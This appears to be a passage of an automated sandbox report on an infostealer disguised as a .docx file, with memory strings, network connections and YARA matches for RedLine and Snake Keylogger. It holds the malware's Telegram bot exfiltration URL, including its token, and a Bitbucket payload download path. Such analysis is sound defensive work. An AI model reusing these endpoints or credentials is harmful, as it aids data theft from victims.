0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D37F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c09f-
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com:443/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/)_
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.000000002090D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/ntim1478/gpmaw/dow
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.000000002089B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/ntim1478/gpmaw/downloads/202_Cneehezxuzj
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.32.148:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:50080 version: TLS 1.2

Source: Yara match

File source: Process Memory Space: D.G Governor Istek,Docx.exe PID: 1560, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.1.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.2.xzeheenC.pif.31d76478.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.31d76478.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1d270f08.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1d270f08.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.3092b98e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.3092b98e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e32e790.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1e32e790.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.31dae790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.31dae790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.3092c896.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.3092c896.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.370d0000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.370d0000.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 6.2.Cneehezx.PIF.21496c78.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e2f6478.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1e2f6478.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.31d76478.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.31d76478.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.342cb98e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.342cb98e.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.30ca0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.30ca0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.330f0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.330f0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.30ca0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.30ca0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1ce5b98e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1ce5b98e.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.2.xzeheenC.pif.3092c896.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.3092c896.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
